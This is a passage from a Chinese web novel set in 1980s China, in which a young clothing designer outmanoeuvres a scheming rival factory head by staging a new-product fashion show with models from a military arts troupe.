周柒柒斩钉截铁, “钱咱们有!把汇款单甩他们脸上,看他们还拿什么由头在厂门口撒野!” 这一招,又快又狠,完全出乎所有人的意料。 头一个懵的就是那三家批发商。 刚收到退款通知,还没等回过神,紧接着银行汇款单就到了,上面白纸黑字写着双倍金额! 几个人捏着单子,你看看我,我看看你,脑瓜子嗡嗡的,都感觉好像有什么不对。 这周柒柒,完全不按常理出牌啊! 赶紧的,抓起电话就给丘奉贤拨了过去。 丘奉贤接到电话,也是一愣。 他万万没想到,周柒柒这丫头片子骨头这么硬! 宁愿砸钱退双倍定金,也不肯低头来求他一句软话? 这脾气,够倔! 可愣神过后,丘奉贤那嘴角就咧到了耳根子,差点笑出声来。 好啊!好啊! 周柒柒都开始退定金了,这不正说明她山穷水尽,根本交不出货了吗? 这是黔驴技穷了! “哈哈哈,黄毛丫头就是黄毛丫头,沉不住气,一点经验都没有!” 丘奉贤悠哉游哉地晃着茶杯,心里盘算得美滋滋。 退了三家,其他那些供应商知道了,还能坐的住? 肯定惊慌失措,都得蜂拥而来要求退款! 第一服装厂那点家底,经得住这么赔吗? 到时候资金链一断,发不出工资,买不起原料,周柒柒除了哭爹喊娘地来求他,还有第二条路可走? 他仿佛已经看到周柒柒低声下气,哭得梨花带雨,来求他的场面了。 到时候... 丘奉贤眯起眼,浑浊的眼底闪过一丝淫邪的光。 看在她可怜的份上,或许...可以给她稍微便宜那么一点点? 毕竟那小娘们的身段是真勾人,前凸后翘,走起路来那腰肢扭得... 啧,可惜了,已经是别人穿过的破鞋了。 听说她男人还是个当兵的? 他对这方面了解的不多,不过下意识就觉得对方好像也没多大本事,估计就是个不入流的小班长、小排长之类的芝麻绿豆官。 真要是营长、团长以上的大人物,哪能让自己如花似玉的小媳妇抛头露面出来做生意? 多丢份儿啊! 这种小卡拉米,丘奉贤压根没放在眼里。 他背后站的可是宏哥! 那是省里大人物的亲孙子,根深蒂固,能量大着呢! 捏死个小军官还不跟捏死只蚂蚁似的? 有这尊大佛罩着,他丘奉贤在S市这种小地界儿,需要怕谁? 他仿佛已经看到周柒柒跪地求饶的模样,心里那点龌龊念头烧得更旺了,只等着看第一服装厂彻底垮台的好戏。 丘家的几个堂弟,继续添油加醋地把这事儿添油加醋地传出去,恨不得拿个大喇叭站在百货大楼顶上喊,让所有人都知道,第一服装厂撑不住开始赔钱了。 这效果自然也是立竿见影的。 这些不光是那些特意来闹事的,其他那些签了单子的批发商,百货大楼的采购,也都坐不住了,电话一个接一个打进来,询问到底是怎么回事。 张国强听着那一声声催命似的铃响,脑门子又冒汗了,心里直打鼓,赶紧去找周柒柒拿主意。 “柒柒,这...这又来了一大堆要退定金的,咱们...咱们是不是都给双倍退了?” 他搓着手,心里盘算着那惊人的赔偿数额,舌头都有点打结。 周柒柒正对着一块刚染好的衣片比划呢,闻言抬起头,像看傻子似的睨了他一眼,哭笑不得道, “都退双倍?张厂长,你当咱们厂是印钞厂啊?我承包生产线是踩缝纫机做衣服的,不是开机器印票子的!咱们账上剩下的钱,哪儿够赔那么多的!” 这大实话噎得张国强老脸一红,讪讪地挠了挠后脑勺,嘿嘿干笑两声, “我这不是...不是急糊涂了嘛?那...那咱们咋办?要不,我这就把咱们刚做好的样衣给他们寄过去几件?保准他们一看就傻眼!绝对不会再闹退定金了!” “不,不能这样。” 周柒柒放下衣片,回答得干脆利落,她嘴角勾起一抹狡黠的弧度。 “寄个样衣太基础,太普通了,太没劲儿了,咱们吃了这么多苦,受了这么多窝囊气,好不容易熬出头,哪儿能这么悄没声息地把好东西两出去?一点‘逼格’都没有!” 她站起身,走到窗边,看着外面晾晒场上随风轻扬的、刚染好的一片片水墨衣料,阳光下流淌着深浅不一的墨韵,像一幅幅活的水墨画。 眼里闪着光,带着一种磨砺后的锐气和自信,朗声说道, “之前那些只是小打小闹的交锋,现在要到动真格的时候了,咱们必须得弄出点动静来,狠狠打丘奉贤的脸!” 第273章 准备 周柒柒走到办公桌前,手指点了点桌上那几块晕染得极其漂亮的衣片, “这样,张厂长,后天,你亲自跑一趟花城,就带着这几个衣片去,不用多说什么,就让他们亲眼看看,亲手摸摸,告诉他们,原先的‘光华’系列确实是生产不了了,但是咱们有了升级版本。” 张国强一听,立刻点头,“别后天了,我现在就去火车站去,坐最近的一班车去!” “急什么!” 周柒柒叫住他, “光看个衣片,哪儿能镇得住那帮老油条?我让你后天去,是有准备的。” 她转身从自己的挎包里小心地取出两张纸。 那是昨晚,她和舟舟一起刷染出来的水墨风邀请函,十分精美。 “你拿着这个,今天赶紧去找印刷厂,印一批正式的邀请函出来。明天拿到手,后天你就出发。” 她把画纸递给张国强,“跑花城,还有周围几个批发商扎堆的地方,一家家跑过去!” 她仔细交代着, “到了地方,你把邀请函亲自交到那些订货商手上,告诉他们,这个礼拜天,我们第一服装厂要办个‘新品发布会’,诚心邀请请他们来亲眼瞧瞧,来回的车票钱,在咱们这住的招待所费用,厂里全包了!” 张国强听得一愣一愣的, 周柒柒继续道: “你告诉他们,要是愿意来,就别急着退定金。等礼拜天看完咱们的新玩意儿,再做决定也不迟!而且——” 她故意拖长了调子, “只要他们不退定金,之前交的钱,可以直接算在新品的定金里!不光这样,咱们的新品,第一批货优先供给他们!价格嘛,还能再打九折!” “当然,” 周柒柒语气一转,从谦卑变得硬气, “要是铁了心现在就要退钱,连这么两三天都等不了的,也行,照规矩,双倍退!不过丑话说在前头,以后再想订咱们第一服装厂的货,那排队可就排到后面去了,紧俏货色,优先权可就没他们的份儿了。” 张国强听得眼睛发亮,赶紧掏出随身带得小本子,刷刷刷地全记了下来。 周柒柒这安排,进退有度,软硬兼施,既给了对方面子,也守住了自家的底气。 “我明白了,柒柒!这事儿我肯定办得漂漂亮亮的!” 他合上本子,信心十足。 刚要转身出去安排,他又猛地刹住脚,扭过头,脸上带着点困惑和好奇, “对了,柒柒,那...那‘新品发布会’,到底是个啥会啊?咋个发布法?” 周柒柒被他逗笑了,摆摆手,想解释,又感觉一两句话解释不清楚, “这个你不用操心了,我自有安排,你的任务,就是把人给我请到,再把家里的生产给我盯紧了,确保咱们的‘水墨光华’能稳稳当当地做出来。” 她想起什么,又刻意叮嘱道, “还有啊,对那些嚷嚷退定金最凶地,一看就是丘奉贤撺掇来地,衣片别给他们看,邀请函更是一张不能给!至于那些真心和咱们合作地,你发邀请函的时候瞧瞧说一声,让他们先保密,别到处嚷嚷,要是泄露了消息,答应他们的优惠可就不作数了!” “哎!好嘞!我记下了!一定要保密!” 张国强连连点头,保密这事儿他擅长的很,早就给全厂子都做好动员了。 他这下心里彻底有了底,风风火火就往外走,准备大干一场。 等他走到门口,周柒柒又喊住了他, “等等等等,事情太多都忘了,我昨天让你给你表妹邹倩倩带话,说我今天下午去师范学校找她,你跟她说了吧?” “说了说了!” 张国强忙不迭点头, “放下吧!我昨天专门跑去学校找了她一趟,跟她说了你下午过去,她说了,今天下午她哪儿都不去,就在宿舍等着你!” “行,知道了。” 周柒柒笑了笑。 等把手头几件紧要的事情都安排妥当了,周柒柒看了看时间,便推上她那辆二八大杠,出了厂门,车头一拐,直奔师范学校。 最近这三个月,周柒柒进城都是直奔服装厂,忙得脚不沾地,已经很久没来师范学校这边转悠了。 这会儿蹬着自行车,一路瞧着街景。 这次一来,发现学校门口的空地比之前更热闹了,摆摊的队伍壮大了不少,各式各样的小摊连成片,吆喝声、讨价还价声此起彼伏,真和后世的小集市没什么区别了。 周柒柒特意绕了点路,经过了她以前摆摊的那个路口。 这一看,倒让她心里生出几分惊喜和暖意。 原来挨着她摊位的那两位大姐,卖袜子的郑大姐和卖男装的孙大姐,居然还在老地方坚守着。 当初她决定不再摆摊的时候,看她们生意不易,曾随口提过几个小建议,比如让郑大姐把袜子拆开,红黄绿蓝配成七彩的,一包七双卖。 还有让孙大姐卖男装别单卖,而是直接搭配好一身,再进几双白搭的鞋子,让人一眼就能看重整套。 没想到,这两位大姐真听进去了,而且落实得不错,摊位都是按照她的建议布置的。 这么一来,她们的生意比她离开那阵子好了不少。 这大下午,两人摊位前都围着人,正热情地给客人介绍着,也不知道是没主意,还是没认出远远看着的周柒柒。 周柒柒笑了笑,没上前打扰。 萍水相逢一场,看她们日子过得红火,比啥都强。 她支好自行车,在旁边熟悉的烤红薯摊子上买了两个热乎烫手的,揣在兜里暖手,径直骑到了师范大学门口。 学校看门的大爷一听她是找邹倩倩的,立刻哎呦一声,脸上笑开了花。 “找小邹啊?知道知道!你等着,我这就去给你叫去!” 没多大会儿,邹倩倩就像只欢快的小鸟似的飞跑了出来,一见到周柒柒,就亲热地挽住她的胳膊。 周柒柒去第一服装厂这事儿,就是邹倩倩撮合的。 这丫头热情开朗,周柒柒也挺喜欢的,打趣她道, “行啊,倩倩,成了学校名人了,连看门大爷都对你这么热情。” 邹倩倩脸一红,嗔怪道, “啥名人啊,我就是个人名!还不是因为我老爱往外跑,又...又爱臭美,一天换一身衣裳,大爷这才记住我。” 说着,她就一脸羡慕地看向周柒柒, “哪像你啊,柒柒姐,你才是真名人呢!我在花城的朋友,还有京都的,好多都知道‘柒’字牌衣服,都喜欢得不得了!她们知道我认识设计师,都跟我打听呢!不过我啥也没说,国强哥说,你不喜欢张扬。” 周柒柒被她逗乐了,笑着拍了拍她肩膀:“行,够意思!” 她还热乎的烤红薯塞给邹倩倩一个,两人一边啃着一边聊。 邹倩倩咬了口香甜软糯的红薯,眨巴着眼睛问: “柒柒姐,你特意来找我,肯定是有啥要紧事吧?有啥需要我办的,你尽管说!我肯定拼尽全力给你办好!” 周柒柒也不绕弯子,点了点头道。 “还有真个忙想请你帮,我打算办个新品发布会,需要几个模特儿,第一时间就想到你了,我想问问你,有没有认识的同学可以来帮忙的?” 她之前念设计系的时候,经常都是在大学里找学生模特,便宜好用,性价比高。 邹倩倩一挺,眼睛唰地就亮了,激动地差点跳起来, “模特?走秀!我知道我知道!是不是《中国青年报》上登过的那种,说是国外一种新的,展示衣裳的法子,就是把衣裳穿在身上,然后那么走一圈,给人看的那种?” “对!就是那种!” 周柒柒笑着点头,心像大学生就是消息灵通。 邹倩倩瞪大了眼睛,“柒柒姐,你太厉害了!你想要啥样的?” “最好有点古典气质,温婉点儿的,” 周柒柒描述着,“我们这次的新品是水墨中国风。放心,酬劳肯定让姑娘们满意。” “找我算是找对人啦!” 邹倩倩一把拉住周柒柒的手,拍着胸脯说道, “包在我身上!走,我现在就带你找人去!我们师范学校别的不说,就是漂亮姑娘多!” 说着,她就风风火火地拉着周柒柒在学校里转开了。 邹倩倩在学校人缘是真不错,带着周柒柒在校园里转悠,认识的女同学个个水灵灵的。 八十年代的女大学生,美得各具特色,健康红润的脸庞,扎着麻花辫或是留着齐耳短发,像春天里刚抽条的嫩芽,生机勃勃。 周柒柒看得眼花缭乱。 可好看归好看,一说起要穿着新衣服在陌生人面前“走秀”,姑娘们大都羞红了脸,头摇得像拨浪鼓,一大半当场就打了退堂鼓。 剩下几个胆子大点的,跃跃欲试,可真让她们在空地上一板一眼地走起来,那可就抓瞎了。 周柒柒自己也没当过模特教练,只能凭感觉比划: “步子大点,别含胸...肩膀打开...眼神别飘...” 可姑娘们要么同手同脚,要么走得跟赶集似的,要么紧张得浑身僵硬,怎么看怎么别扭。 折腾了大半个下午,愣是没挑出一个有那个“范儿”的。 周柒柒心里那点兴奋劲儿彻底没了,涌上一股深深的挫败感。 在这个年代,大学生模特,真不是那么好找的。 晚上回到家,她连吃饭都没什么精神,吃完饭啥也不相干,唉声叹气地把这个烦恼跟沈淮川说了。 沈淮川正在厨房烧水,准备给一家人待会儿洗澡用,拧着眉听她说完,沉吟片刻: “临时抱佛脚,几天工夫想把学生训练成模特,太难了,到了发布会那种场合,底下全是眼睛盯着,她们一紧张,效果怕是要打折扣。” 周柒柒耷拉着脑袋, “我也知道啊,可是...那怎么办嘛?总不能我自个儿上去走吧?” “不如找现成的、有舞台经验的人呢?” 沈淮川提醒她, “卓光明的爸妈不都是市文工团的?你之前还帮他们设计过演出服,文工团的演员,身段、台步、临场经验,都是练过的,找她们来,估计合适。” 周柒柒眼睛猛地一亮,对啊!她怎么把这茬给忘了! 文工团的专业演员,走个秀还不是小菜一碟? 可她一过脑子,刚燃起的希望之火,瞬间又熄灭了,沮丧地摇摇头, “不行啊,卓妈妈前几天还跟我联系呢,说他们市文公团这半个月有下乡演出的任务,整个团都要下去,我还帮她调整了几件下乡要穿的服装呢,估计是指望不上了。” 她叹了口气,托着腮帮子发愁:“唉,难道这水墨光华发布会,真要砸在模特这环上了...” 正愁肠百结时,忽然,旁边传来一个清脆又带着点急切的声音: “我!我我我!柒柒妹妹,我可以帮忙啊!” 第274章 就想报答柒柒姐姐! 另一个稍显成熟的女声紧接着跟上,语气更热络些:“是啊是啊,我们能帮忙!” 周柒柒听着这声音,眉头就拧了起来。 她扭头从厨房窗户望出去,果不其然,周淑华和她女儿雷玉华,正大刺刺站在她们家院子里。 周柒柒擦了擦手,沈淮川和对视一眼,一起走了出去,神情不是太好。 但是周淑华还想着帮忙的事儿呢,赶忙上前两步,话匣子一下就打开了: “柒柒,玉华她们军区文工团这礼拜正好没下乡任务!她们最近排的舞蹈就是国风的,十几个姑娘,个个水灵,身段也好,有那个古典味儿!绝对符合你的要求!而且...” 她说得又急又快,几乎不带喘气,还想接着往下继续说。 旁边的雷玉华赶紧悄悄拉了她的袖子,轻轻摇了摇头,上前一步,脸上带着歉意,指了指院门, “柒柒妹妹,淮川哥,真不好意思,我们刚才敲了门的,可能声音小,你们在忙没听见,看门没关紧,怕是出了啥事,我们心里一急就进来了,不是故意偷听你们说话。” 周柒柒一愣。刚才水快开了,动静不小,她和沈淮川确实没留意门外的声音。 至于院门,向阳那小子跑来叫舟舟出去玩,大概随手一带没关严实。 她心里那点对周淑华母女根深蒂固的不待见,让她下意识就觉得对方没规矩。 现在想想,自己这先入为主的偏见,跟当初周淑华看她时那股劲儿,有啥两样? 正想着,周淑华搓着手,脸上带着明显的窘迫,声音都低了几分: “真...真不是故意的。我们...我们是来送照片的。” 她赶紧从怀里摸出一个牛皮纸信封递过来。 周柒柒接过信封,抽出来一看,是几张照片。 照片上,是修葺一新的墓园,青石整洁,墓碑肃立。 日期显示是前天才拍好的。 她离开许家村满打满算也就俩礼拜,没想到周淑华真把这事放在了心上,不仅快,而且看样子做得极为用心。 她一张张翻看。 墓园规模不大,但看得出用料和做工都扎实。 爹周水生和娘齐琳的墓碑并立,规制一模一样,没有半分偏颇。 更让她心头微动的是,连外婆齐三娘那座孤零零落在山脚下的旧坟,也被细心修缮了一番。 老家的院子也整理了,原先一间空屋被辟成了洁净的灵堂,几个牌位安静地供奉其中。 总算...是能安息了。 周柒柒捏着照片,神色复杂,半晌,看了一眼周淑华,低声道:“谢谢...费心了。” 周淑华没想到周柒柒会跟她说话,一下子竟有些手足无措,连连摆手: “不用谢,不用谢,应该的,都是应该的...” 她似乎想笑一下,嘴角却显得很僵硬。 她这段日子显然不好过,人像是被抽走了精气神,憔悴得厉害。 虽然戴着帽子,但鬓角刺眼的白发还是漏了出来,眼角的皱纹也深了许多,跟周柒柒初见她时那副精明利落、甚至有些咄咄逼人的样子,判若两人。 周柒柒心里有点不是滋味。 她不是圣母,过往的芥蒂也不是一时半会儿就能抹平的,但是她也同样见不得年纪大的人这般低声下气、小心翼翼的模样。 她别开脸,一时不知该说什么好。 气氛一时有点僵。 雷玉华适时开口,打破了沉默,“柒柒,我刚听了一耳朵,是你新款的发布会需要文工团的演员吗?” 她语气爽利, “刚才我妈说的没错,我们文工团这周确实空闲,排的也是古典舞,姑娘们无论形象还是身段,都跟你说的‘水墨国风’感觉挺搭的,你们现在新款原料出了问题,急需帮助,你要不要考虑看看?” 雷玉华怎么知道她新款原料出了问题的?她刚才好像没提到这一点? 她心里划过一丝疑虑,目光下意识地瞥向身旁的沈淮川。 那意思再明白不过,是你告诉她们的吗? 不等沈淮川说话,雷玉华立刻摆手:“哎,别误会淮川哥!可不是他告的密。” 她笑了笑, “你忘了?之前咱们不是一块骑车进城吗?你还跟我说,过两天‘光华’大衣就能在百货大楼买到了。我第三天一大早就跑去问了,结果没见着。正好那儿的经理是我中学同学,私下跟我嘀咕了一句,说你们厂的新款好像临时出了点问题,要推迟...我这才猜到的。” 她顿了顿,眼神真诚地看着周柒柒: “怎么样?现在需要人手的话,我们团真的能帮上忙。我也不白帮你,” 她笑起来,带着点俏皮, “我那件鹅黄色的‘光华’可是盼了好久!你帮我找齐合适的人选,到时候送我一件新品大衣就成,咋样?” 她这话说得坦荡又实在,那点小私心也摆在明面上,反而让人讨厌不起来。 周柒柒本就不是扭捏的人。 眼下正是急需用人的时候,机会送上门,没道理为了那点旧账就把绝路走死。 真拒绝了她们,到时候烦恼的还是自己,这才是真傻。 她从来就不是个跟自己过不去的人,爽快地点了点头, “行!那就麻烦你了!我需要十个模特,最好明天下班之后,就可以开始集中排练,周日一整天也都得有空,参加我们的发布会。” 她想了想,补充道,“只要人选合适,排练认真,不光答应你的大衣,所有来帮忙的姑娘,每人一件新品大衣,另外再给二十块钱酬劳。” 这大衣在外头至少都是要卖三十块钱的,再加上酬劳,总共可就是五十块钱了。 再加上又是帮助军属,那帮小姑娘肯定乐意。 雷玉华一听,笑容更大了,一拍手。 “痛快!没问题!包在我身上,明天中午你就去我们文工团挑人去!” 人在忙碌的时候,这时间像上了发条,眨眼就到了第二天中午。 周柒柒在第一服装厂晕头转向得忙了一上午,中午连午饭都顾不上扒拉一口,蹬上自行车就往军区文工团赶。 刚到门口,就见雷玉华正等着她呢。 雷玉华二话不说,拉着她就往一个小礼堂里钻。 推开厚重的门帘,周柒柒眼前豁然一亮。 小礼堂里,三十来个穿着军绿色练功服的姑娘齐刷刷站着,像一排排抽芽的小青杨。 个个身姿挺拔,脸蛋水灵,眉宇间都透着一股子古典韵味。 周柒柒只觉得眼睛都不够用了,心里那块压着的石头轻了不少,这趟真是来对了! 这些姑娘天天在舞台上摸爬滚打,那份落落大方和舞台经验,可不是昨天师范学校那些生涩的学生能比的。 雷玉华显然提前做了功课,周柒柒昨晚电话里提的要求,她都清楚明白地传达下去了。 两人就在舞台边上站定,姑娘们一个接一个上台,按照要求走上一圈。 虽然走的不是那种时髦的“猫步”,但步态从容,眼神明亮,自带一股子说不出的精气神儿和舞台气场,比周柒柒预想的好太多。 二十个姑娘走下来,周柒柒心里已经有了谱,刷刷圈定了八个最合适的。 这次发布会,“水墨光华”系列总共五款配色,每款又有两种不同样式,正好需要十个模特。 眼瞅着就剩最后两个名额了。 就在这时,排在队伍后头的一个小姑娘突然绷不住了, 小兔子似的窜到周柒柒和雷玉华跟前,声音带着点急切的颤抖: “玉华姐,柒柒姐姐,能...能让我试试吗?” 雷玉华眉头一拧,语气严肃起来: “王春燕!怎么回事?我一直一来怎么强调的?咱们是军人,讲规矩守纪律!排队懂不懂?这还没轮到你呢,冒冒失失冲出来,像什么话!让人家以为咱们文工团没规矩呢!” 她心里是真有点恼火,生怕王春燕这冒失劲儿给周柒柒留下坏印象。 王春燕脸蛋涨得通红,急得眼眶都湿了: “对不起,玉华姐!我真不是故意捣乱!我...我就是太想要这次机会了!我不要钱,不要新衣裳,就...就想报答柒柒姐姐!” 她说着,鼓起勇气看向周柒柒。 周柒柒一愣,仔细打量着眼前这个急得快哭出来的漂亮姑娘。 瞅着也就十五六岁的样子,确实有点眼熟,但一时又想不起在哪见过,她柔声开口道, “报答我?我们...认识吗?” “柒柒姐姐,是我啊!王春燕!” 王春燕声音带着哭腔, “你忘了?四个月前,在师范学校门口,我妈...我妈冤枉你卖带针头的衣服,还叫公安把你抓去警察局了!后来...后来在军区医院楼顶,我...我想不开,也是你救的我!还有,我能考上文工团,都是因为你告诉我消息啊!“ 她越说越委屈,小嘴一瘪,“这些...你都不记得了吗?” 王春燕?针头衣服?医院天台?文工团消息? 她这么一说,周柒柒眼睛猛地睁大,记忆瞬间回笼! 这件事当时惊心动魄的,她怎么可能会不记得呢? 但是记忆里,医院天台那个被亲生母亲骂的只想寻死的十六岁女孩,瘦弱,绝望,双眼无神,像一片枯叶一样。 眼前这个小姑娘,穿着军绿练功服、脸颊红润、眼神明亮,却像是一朵向阳而生的向日葵。 这变化也太大了!简直脱胎换骨! “哎呀!是你!春燕!” 周柒柒又惊又喜,忍不住一把抓住王春燕的手,上下打量着, “我真没认出来!你...你考上文工团了?现在过得怎么样?你妈她...没再来逼你嫁人,或者打骂你了吧?” 她问得又快又急,全是关心。 第275章 故弄玄虚? 王春燕吸了吸鼻子,使劲摇头: “没有了!我现在吃住都在部队里,她来闹过几次,大门都进不来,只能在门口撒泼。” 说着,她又一脸感激地看向雷玉华。 “玉华姐知道了,带着好几个男兵去门口警告她,还去找了她单位和我爸单位的领导...领导们给她施了压,说她再闹,工作就保不住了!她总算知道怕了,不敢再打我骂我,就说...就当没我这个女儿了。” “这是好事啊!” 周柒柒由衷地替她高兴,“以后你的人生自己做主!” 看她眼圈还红着,又拍了拍她的手,“傻丫头,高兴点,怎么还哭上了?” “我...我是太高兴了,又见到你了!” 王春燕抹了把眼睛,破涕为笑, “柒柒姐,你救了我,还给了我一条新路,我一直想报答你,可感觉自己啥也帮不了你,又不敢打扰你...没想到今天总算碰上了!让我当模特吧!我保证好好干!真不要钱,也不要新衣服!能帮上你的忙就行!” 她急急地解释, “我刚才早就到了,想着你来还没来...就又去洗了把脸,重新梳了头,没想到再回来,就排到最后了,急死我了,就怕你人挑够了...” 雷玉华站在一旁,听着这番原委,心里也明白了七八分。 原来还有这么一段渊源,怪不得春燕这孩子着急呢。 她脸色缓和下来,对周柒柒道: “柒柒,春燕这孩子来了团里几个月,确实肯吃苦,进步也快,要不,你就给个机会,让她先试试?” 见周柒柒点头,她赶紧转头对王春燕说:“还愣着干啥?赶紧去走一圈给你柒柒姐看看!” 王春燕用力点头,像得了圣旨,深吸一口气,快步走上台去。 她努力稳住心神,挺直腰背,迈开步子。 虽然紧张得手心冒汗,但那股子认真劲儿和身上那股子精气神,是实实在在的。 周柒柒越看越满意。 这次“水墨光华”系列里,那款鹅黄色的设计,色调活泼灵动,就是专门给年轻姑娘准备的。 王春燕这年纪,这蓬勃的生命力,还有那份经历磨难后更显坚韧的独特气质,简直是为那款衣裳量身定做的! “行!就你了!” 周柒柒一锤定音,指着王春燕笑道,“那款鹅黄的新衣,归你穿!” 王春燕站在台上,眼睛瞬间亮得惊人,激动地用力点头,差点又哭出来。 这样一来,就差最后一个人选了,竞争激烈,但也很快敲定。 选定后,雷玉华让姑娘们自己去练习走路,这才凑近周柒柒,问起正事: “柒柒,你这新品发布会具体咋弄?章程流程定了没?场地在哪?布置好了吗?有啥要注意的,我提前告诉姑娘们。” 周柒柒揉了揉眉心,露出一丝疲惫,回道, “场地就定在第一服装厂的礼堂,至于其他的,现在我忙着新款打板,辅料搭配的事,还没空去弄,等今晚回去,不行我就熬个通宵,尽快定下来,至于场地布置,我实在没多余经历了,准备先交给厂办的人,回头我再抽空去盯着改改。” 雷玉华像是提前知道了她会这么回答似的,眼睛一亮,一拍胸脯,笑道, “要不然,就交给我吧!我舞台经验多,布置场地这些也算熟手,你需要什么效果,用什么东西,告诉我,我去张罗,回头你给我报个账就行,至于酬劳嘛...” 她她狡黠地眨眨眼,有些眼馋地摸了摸周柒柒身上的“光华”大衣,继续说道, “我帮你把这场子弄得漂漂亮亮的,发布会完了,你那鹅黄色的两款大衣,每款给我一件,我拿着也安心些,怎么样?” 周柒柒想起卓妈妈确实提过,雷玉华工作能力强,舞台布置尤其拿手,年年市里汇演都拔头筹。 再看她平时穿着打扮也挺新潮有眼光。 略一思忖,周柒柒果断点头:“行!那就辛苦你了!” 眼下火烧眉毛,雷玉华肯主动揽下这摊子事,不管是处于什么目的,都是雪中送炭的好事。 两人立刻去了雷玉华的办公室,凑在一块儿嘀嘀咕咕商量了好一阵子细节。 雷玉华越听越来劲儿,拍着胸脯保证, “柒柒妹妹,你就放心吧!我这几天反正没演出任务,下午下了班就带着春燕过去开干!三天之后,保管给你弄出一个满意的场子来!” “好!全交给你了!” 周柒柒心里那根紧绷的弦,总算松了松。 接下来的三天,第一服装厂像一台上足了发条的机器,分三路高速运转。 第一路,是周柒柒带着生产线上的老师傅们几乎扎在了车间里。 缝纫机日夜不停地嗡鸣,新款的“水墨光华”样衣,一件件在她们熬红的双眼中渐渐成型。 每一片布料的晕染效果都要反复比对,力求完美,时间紧任务重,没人敢松一口气。 第二路,是雷玉华和王春燕等军区文工团的姑娘们,她们也成了第一服装厂的常客。 每天文工团一收工,雷玉华就领着几个手脚麻利的姑娘直奔第一服装厂。 姑娘们压低声音的排练口令,在空旷的礼堂里回荡。 雷玉华指挥若定,把舞台经验发挥得淋漓尽致,王春燕则像个小尾巴,跑腿得格外认真卖力。 第三路,同时也是压力最大的一路,那就是张国强这边了。 他揣着那几张晕染着水墨纹路的精致邀请函,像个陀螺似的在各个城市奔波,拜访那些签了订单又差点翻脸的批发商和百货大楼采购主任。 迎接他的,往往不是笑脸,而是憋了一肚子火的抱怨和质疑。 有性子急的当场拍了桌子。 “张厂长!当初拍胸脯保证‘光华’系列按时交货的是你!现在货呢?就给我看这么个小布头?糊弄谁呢?” 有人抱着胳膊,满脸不屑。 “发布会?啥新鲜玩意儿?听都没听过!你们厂子是不是快黄了,弄点处理货清仓甩卖吧?” 在他们传统且朴素的眼光看来,衣服做出来寄个样品让人挑就行了,搞什么发布会纯属脱裤子放屁——多此一举。 有人更是直接嗤笑,觉得张国强和周柒柒是病急乱投医。 “就是!折腾这么大阵仗,有这功夫不如赶紧想办法把澳毛的‘光华’做出来!搞这些花里胡哨的,顶个屁用!” 张国强赔着笑脸,耐着性子解释,喉咙都说干了。 他心里也憋屈,但想到周柒柒熬红的眼和仓库里那些渐渐有了模样的新衣,只能一遍遍强调: “您受累,就抽空去看看,耽搁不了您多久。我们周师傅这次的新品,绝对不一样!看了您再做决定也不迟!” 他特意加重了“绝对不一样”几个字,把那张印着独特晕染效果的衣片往对方手里塞。 那些批发商和采购主任,心里虽一百个不情愿,觉得麻烦又没谱。 但念在之前毛衣裙爆火的实绩,还有“光华”样衣那惊艳的质感,终究还是捏着鼻子应下了。 做生意的,眼光和信誉都重要,万一真错过了好货呢? 再说了,张国强这老实人如此低声下气,也不好太拂他面子。 不过大家都默契地选择了保密,没四处声张。 这些动静,被发财美梦蒙蔽了双眼的丘奉贤全然不知。 他依旧窝在自己办公室那张皮椅里,慢悠悠地品着龙井,翻着新到的轿车画册,美滋滋地等着周柒柒上门求饶。 一直到了礼拜天早上,丘奉贤派出去盯梢的表弟连滚带爬地冲了进来,气都喘不匀: “哥!哥!大事不好了!第一服装厂那边...那边人山人海啊!” 丘奉贤愣了一下,一时之间没搞明白,“什么?!真的假的?” 表弟连连点头,不停的说着, “真的!好多车!好多外地车牌!全国各地的大批发商,还有咱们S市批发市场最大档口的李萍,都来了!还有...还有毛纺厂的厂长,轻工业局的几个处长,我都认出来了!最吓人的是,翟副市长的司机送了个老爷子进去,看着像是翟家的长辈!” 丘奉贤冷笑一声,倒没太惊讶,而是悠哉游哉地拿起茶壶倒茶, “怎么说?都是去找周柒柒麻烦的?” 表弟看着表哥还这么不在意,急得满头大汗,头摇得像是拨浪鼓。 “不是!不是找麻烦!是他们搞了个啥‘新品发布会’,阵仗大得很!公安局都派人去维持秩序了!” 闻言,丘奉贤手里的紫砂壶哐当一声砸在地上,摔得粉碎。 他也顾不上了,脑子嗡地一声,脸色瞬间煞白,猛地站起来,双手拍着桌子质问道: “新品?什么新品?她们哪儿来的新品?!你没进去搞清楚?!” “我...我不知道啊!我也想进去看看,但是门口守着公安和保安,要啥邀请函才能进!我...我混不进去!” 表弟哭丧着脸。 “邀请函?这个邀请函从哪儿搞?” 丘奉贤正急得像热锅上的蚂蚁,团团转,没想到办公室门被敲响了。 来的竟是张国强! 他风尘仆仆,脸上却带着一股扬眉吐气的冷笑,将一张素雅精致的邀请函直接拍在丘奉贤的办公桌上。 “丘厂长,别来无恙啊?我们厂‘光华’系列今天开新品发布会,特意来给您送张票,没有您,就没有这些新品,您可是贵客,是我们厂的大工程,一定得来捧捧场!” 丘奉贤一把抢过邀请函,看着上面“水墨光华——新品发布会”的字样,又惊又怒,声音都变了调: “张国强!你们真有新品?到底在搞什么鬼名堂?!给我说清楚!” “搞什么鬼?” 张国强要办挺得笔直,嗤笑一声, “发布会马上就开始了,你去了,不就什么都知道了?” 说完,竟然也不再看他,而是转身趾高气昂地走了。 那背影透着股丘奉贤从未见过的硬气。 丘奉贤气得够呛,脸色铁青,盯着手里那封水墨韵味十足的邀请函,又惊又疑,嘴里骂着: “故弄玄虚!” “走投无路了还装神弄鬼!” 他狠狠地把邀请函揉成一团,高高扬起手想撕个粉碎。 可那纸团捏在手里,终究没撕下去。 他心乱如麻,隐隐感到大事不妙,咬着牙朝外面吼: “备车!我倒是要看看,这个周柒柒,葫芦里卖得究竟是什么药!” 第276章 惊艳四座!!! 等他坐着第三服装厂那辆破旧颠簸的小轿车赶到第一服装厂时,厂门口已经停满了各式各样的汽车、吉普车,甚至还有几辆挂着外地牌照的面包车。 其他客人显然已经早都到了。 他捏着那张皱巴巴的邀请函,黑着脸走了进去,特意寻了最后一拍角落的位置坐下,阴鸷的目光四下扫视。 平时用来开会的礼堂布置得不同寻常。 墙上挂着大幅泼墨山水画,中间空白处是五色的幔帐,清越舒缓的古筝乐曲在空气中流淌,营造出一种中式浪漫。 两边,是整齐的座位,中间空出了一条长长的捅道,直通舞台。 舞台上,十个精美的衣架一字排开,上面严严实实地罩着轻柔的白色纱布,什么也看不清,透着十足的神秘感。 最显眼的是舞台上方悬挂的巨幅宣传语,用遒劲的书法写着: “当时装遇见东方写意,每一笔染墨,都是独一无二的风骨。” 